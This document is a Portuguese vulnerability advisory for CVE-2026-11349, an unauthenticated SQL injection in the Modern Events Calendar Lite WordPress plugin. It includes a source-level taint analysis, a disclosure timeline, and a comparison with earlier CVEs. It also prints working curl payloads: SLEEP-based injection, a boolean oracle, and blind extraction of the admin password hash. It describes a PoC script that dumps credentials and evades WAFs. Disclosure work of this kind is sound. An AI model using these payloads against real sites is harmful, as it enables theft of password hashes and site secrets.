
Modern Events Calendar Lite <= 7.33.0 — Injeção SQL Não Autenticada
| Detalhe | Valor |
|---|
| Plugin | Modern Events Calendar Lite |
| Slug | modern-events-calendar-lite |
| Autor | Webnus |
| Versões afetadas | <= 7.33.0 (a versão Lite atual distribuída pelo fornecedor). O bug está presente em toda a faixa pós-w.org; confirmado em laboratório nas versões 6.5.6 e 7.33.0, confirmado estaticamente na 5.21.2. 6.5.6 = último build do wordpress.org (congelado no fechamento de 2022-05-11); 7.33.0 = build atual distribuído a partir de mec.webnus.net |
| Instalações ativas | contagem no wordpress.org ocultada desde o fechamento; historicamente 100,000+. Ainda distribuído/atualizado ativamente pelo fornecedor (Lite via mec.webnus.net; o mesmo código 7.x serve de base para o MEC Pro, vendido ativamente) |
| CWE | CWE-89 (Injeção SQL) |
| Vulnerabilidade | Injeção SQL cega não autenticada (baseada em tempo / booleana / baseada em erro) |
| Privilégio necessário | Nenhum (wp_ajax_nopriv_* — pré-autenticação) |
| Interação do usuário | Nenhuma |
| CVSS v3.1 | 7.5 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Status | Verificado em laboratório de ponta a ponta na 7.33.0 (atual) e 6.5.6 (WordPress 6.6.5, MariaDB 10.x) |
| CVE / GHSA | CVE-2026-11349 |
O Modern Events Calendar Lite regista uma família de ações "load more" não autenticadas em admin-ajax.php para seus skins de listagem de eventos (list, grid, masonry, agenda, timeline, tile,
custom). Cada handler lê o array atts da requisição, controlado pelo atacante, e o passa por um
helper chamado sanitize_deep_array() que — quando chamado com seus argumentos padrão — não realiza nenhuma sanitização — e depois concatena os valores de atts['include'] (e atts['exclude']) crus em um fragmento SQL post_id IN (...) que é executado com $wpdb->get_results() e sem $wpdb->prepare().
Como os pontos de entrada são registrados em wp_ajax_nopriv_*, não é necessária autenticação, conta, nonce ou interação do usuário. Um atacante remoto não autenticado pode injetar SQL arbitrário na cláusula WHERE de um SELECT contra wp_mec_dates e ler qualquer dado no banco de dados do WordPress (hashes de senha de usuários, segredos/chaves de wp_options, dados de outros plugins) por meio de técnicas cegas baseadas em tempo / booleanas / baseadas em erro.
app/libraries/main.php:9607:
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
if(!is_array($inputs)) return $inputs;
$sanitized = array();
foreach($inputs as $key => $val)
{
$p = $path.$key.'.';
if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
or (is_array($excludes) and !count($excludes))) // line 9615
{
$sanitized[$key] = $val; // <-- RAW passthrough, no sanitization
continue;
}
// ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
}
return $sanitized;
}
A guarda (is_array($excludes) and !count($excludes)) faz com que a função seja uma operação nula completa quando $excludes é o array vazio padrão — cada valor é copiado literalmente. A intenção era evidentemente "se houver uma lista de exclusão, pule essas chaves"; a lógica booleana, em vez disso, pula tudo sempre que nenhuma lista de exclusão é fornecida.
$excludesapp/skins/list.php:499-501 (load_more()):
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date); // line 501
sanitize_deep_array($_REQUEST['atts']) é chamado com um único argumento → $excludes assume o padrão array() → o ramo de operação nula acima → $atts é o $_REQUEST['atts'] cru e não confiável.
IN (...)app/libraries/skins.php:
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
$where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";
// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
$where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";
Os elementos do array são passados por implode() diretamente para a string SQL, sem cast para inteiro e sem escape. (absint()/(int) em cada elemento teria corrigido isso.)
app/libraries/db.php:79:
public function select($query, $result = 'loadObjectList')
{
$query = $this->_prefix($query); // only swaps `#__` for the table prefix
$database = $this->get_DBO();
if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K); // line 87 — no prepare()
// ...
}
A string totalmente montada é entregue a $wpdb->get_results() literalmente.
Fluxo de taint (requisição → sink):
$_REQUEST['atts'] (attacker-controlled, unauthenticated)
→ app/skins/list.php:501 sanitize_deep_array($atts) (NO-OP: default empty $excludes)
→ MEC_skin::initialize($atts) ($this->atts = raw atts)
→ app/libraries/skins.php:606 "... post_id IN (".implode(',', $this->atts['include']).")"
→ app/libraries/db.php:87 $wpdb->get_results($query) (no prepare)
app/skins/list.php:51-52:
$this->factory->action('wp_ajax_mec_list_load_more', array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more')); // <-- unauthenticated
O registro nopriv torna o endpoint acessível antes da autenticação. O mesmo formato de load_more() e o construtor de consultas compartilhado skins.php estão presentes nos skins irmãos, cada um com sua própria ação wp_ajax_nopriv_*, portanto a mesma injeção é alcançável por qualquer um deles:
Ação AJAX (nopriv) | Handler do skin |
|---|---|
mec_list_load_more | app/skins/list.php:497 |
mec_grid_load_more | app/skins/grid.php:497 |
mec_masonry_load_more | app/skins/masonry.php:229 |
mec_agenda_load_more | app/skins/agenda.php:242 |
mec_timeline_load_more | app/skins/timeline.php:242 |
mec_tile_load_more | app/skins/tile.php:446 |
mec_custom_load_more | app/skins/custom.php:233 |
Nenhum nonce é verificado em load_more(), e a ação não exige que qualquer shortcode do plugin esteja presente em uma página — os handlers AJAX são registrados incondicionalmente no init.
Todas as requisições são não autenticadas (sem cookie, sem nonce). O valor injetado é colocado em atts[include][]; o payload fecha os dois parênteses abertos do grupo IN ((...) AND (... IN ( e acrescenta um OR <sleep> de nível superior para que a condição seja avaliada para cada linha varrida e, em seguida, comenta o )) ORDER BY ... final:
TARGET='https://victim.example' # plain permalinks: use admin-ajax.php directly
# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0'
# → ~0.27s
# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
# → ~3.04s ← SLEEP(3) executed
# 3) Boolean oracle (true vs false)
# atts[include][]=0)) OR IF(1=1,SLEEP(3),0)# → ~3.06s (TRUE)
# atts[include][]=0)) OR IF(1=2,SLEEP(3),0)# → ~0.04s (FALSE)
# 4) Real data extraction (blind), e.g. admin password-hash first byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
# → ~3.04s ← TRUE: admin hash begins with '$' (phpass)
A consulta exata executada (capturada de WP_DEBUG_LOG) para um canário de erro atts[include][]=0)MEC_SQLI_CANARY foi:
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC
— o token literal MEC_SQLI_CANARY aparece literalmente na instrução executada, confirmando a concatenação crua. O parâmetro atts[exclude][] (skins.php:803 / 603, NOT IN) é injetável da mesma forma (confirmado em laboratório: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). A mesma consulta e injeção foram reproduzidas na 7.33.0 (build atual) — mesmo canário, mesmo comportamento de SLEEP.
mec-unauth-sqli-poc.py (incluído) é totalmente autossuficiente e não exige credenciais: ele confirma a injeção (baseline vs. SLEEP) e, em seguida, realiza extração cega baseada em tempo de dados arbitrários (padrão: @@version, usuário do banco e o user_login:user_pass do primeiro admin). Ele valida cada resposta (HTTP 200) e espaça as requisições com --delay + back-off para sobreviver a WAF/rate-limiting (ex.: mod_evasive). Nenhum dado é modificado (contexto SELECT somente leitura).
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s sleep-case=3.04s threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...
Acesso de leitura total ao banco de dados, não autenticado e alcançável pela rede: hashes de senha de wp_users, wp_options (auth_key, segredos de API, tokens) e qualquer outra tabela. Na prática, isso encadeia para uma tomada completa do site (quebra de hash offline, roubo de segredos/sessões). O impacto na integridade é limitado — a injeção é executada em um SELECT via $wpdb->get_results(), que não permite consultas empilhadas — daí I:N. SLEEP/BENCHMARK pesados podem degradar a disponibilidade, mas o impacto principal, demonstrado de forma confiável, é a confidencialidade (C:H), resultando em CVSS 7.5.
Os números de linha são fornecidos para a 7.33.0 (atual), com a 6.5.6 entre parênteses; o código é idêntico em toda a faixa.
| Arquivo | Linha (7.33.0 / 6.5.6) | Problema |
|---|---|---|
app/libraries/main.php | 11726-11734 / 9607-9619 | sanitize_deep_array() é uma operação nula quando $excludes é o array vazio padrão (a guarda !count($excludes)) |
app/skins/list.php | 535 / 501 | atts lido de $_REQUEST e passado para sanitize_deep_array() sem $excludes (em load_more(), 532 / 497) |
app/skins/list.php | 53 / 52 | wp_ajax_nopriv_mec_list_load_more → ponto de entrada não autenticado |
app/libraries/skins.php | 806 / 603-606 | array include / exclude passado por implode() cru para post_id IN (...) / NOT IN (...) (exclude em 803 / 603) |
app/libraries/db.php | 79-93 (87) | MEC_db::select() executa $wpdb->get_results() sem prepare() |
Os skins irmãos (grid, masonry, agenda, timeline, tile, custom) compartilham o mesmo load_more() + construtor de consultas skins.php e cada um registra uma ação wp_ajax_nopriv_* → mesmo bug, múltiplos pontos de entrada.
Este é um ponto de injeção distinto e anteriormente não relatado. Toda injeção SQL do MEC documentada publicamente tem como alvo uma ação e um parâmetro AJAX diferentes, e todas foram corrigidas em versões posteriores a esta descoberta (confirmado em laboratório como ativa na 7.33.0):
| Referência | Autenticação | Ação AJAX | Parâmetro | Corrigido em |
|---|---|---|---|---|
| CVE-2021-24946 | Não autenticado | mec_load_single_page | time | 6.1.5 |
| CVE-2021-4458 | Não autenticado (somente se o addslashes/escape de entrada estiver desativado) | mec_load_single_page | id | 6.4.0 |
| CVE-2021-24149 | Autenticado (autor+/assinante) | mec_fes_form | mec[post_id] | 5.16.6 |
| Este relatório | Não autenticado (sem pré-condição) | mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more) | atts[include][] / atts[exclude][] | não corrigido (≤ 7.33.0) |
mec_load_single_page; este está na paginação "load more" do skin (load_more() → MEC_skin::initialize() → construtor post_id IN (...) de app/libraries/skins.php), alcançado por meio do ramo padrão de operação nula de sanitize_deep_array(). Os patches de mec_load_single_page não tocam em skins.php.id) era explorável somente com o escape de entrada do PHP/WordPress desativado (um estado não padrão), porque esse valor está em um contexto entre aspas. Aqui, os valores de atts[include]/atts[exclude] caem em um contexto numérico sem aspas IN(...) e são explorados com parênteses + palavras-chave SQL (0)) OR SLEEP(3)#), que o wp_magic_quotes() não neutraliza. Portanto, é explorável em uma instalação padrão do WordPress — confirmado em laboratório em WP 7.0 padrão (magic quotes ativado).mec_load_single_page (6.4.0).O Modern Events Calendar Lite foi removido do wordpress.org em 2022-05-11 ("Motivo: Violação de Diretriz"), portanto o build do wordpress.org está congelado na 6.5.6. Isso não significa que o plugin foi abandonado — a Webnus continuou o desenvolvimento fora da plataforma: o build Lite atual distribuído a partir de mec.webnus.net é o 7.33.0, e o caminho de código vulnerável é byte por byte o mesmo lá (confirmado em laboratório; a SQLi dispara de forma idêntica na 7.33.0). O bug, portanto, afeta todas as versões na faixa pós-remoção, não apenas a cópia congelada do wordpress.org.
Implicações de encaminhamento (a objeção de "fechado no wordpress.org" é muito mais fraca do que parece à primeira vista):
app/libraries/skins.php, app/libraries/main.php e app/libraries/db.php são bibliotecas centrais compartilhadas, portanto o Pro é quase certamente afetado. Isso deve ser confirmado contra o código-fonte do Pro antes de afirmá-lo formalmente, mas a arquitetura de bibliotecas compartilhadas torna isso muito provável. Um impacto confirmado no Pro torna a descoberta inequivocamente dentro do escopo da Patchstack (um componente vendido publicamente) e digna de uma CVE MITRE/Patchstack, independentemente do status no diretório do wordpress.org.Uma CVE é justificada pelos méritos: injeção SQL não autenticada, alcançável pela rede, com leitura total do banco de dados, em um produto atual distribuído pelo fornecedor e com uma base histórica de instalações de seis dígitos.
| Data | Evento |
|---|---|
| 2026-06-03 | Descoberta durante revisão automatizada de plugins; verificada de ponta a ponta (não autenticada) no MEC Lite 6.5.6 (build congelado no wordpress.org) |
| 2026-06-04 | Re-verificada de ponta a ponta na 7.33.0 (Lite atual distribuído pelo fornecedor a partir de mec.webnus.net); confirmado que código/injeção são idênticos — a descoberta é atual, não um artefato da versão removida |
| 2026-06-04 | Notificação ao fornecedor (Webnus) + solicitação de CVE à WPScan; confirmar se o MEC Pro compartilha o caminho |
| 2026-06-05 | Vulnerabilidade verificada e CVE atribuída |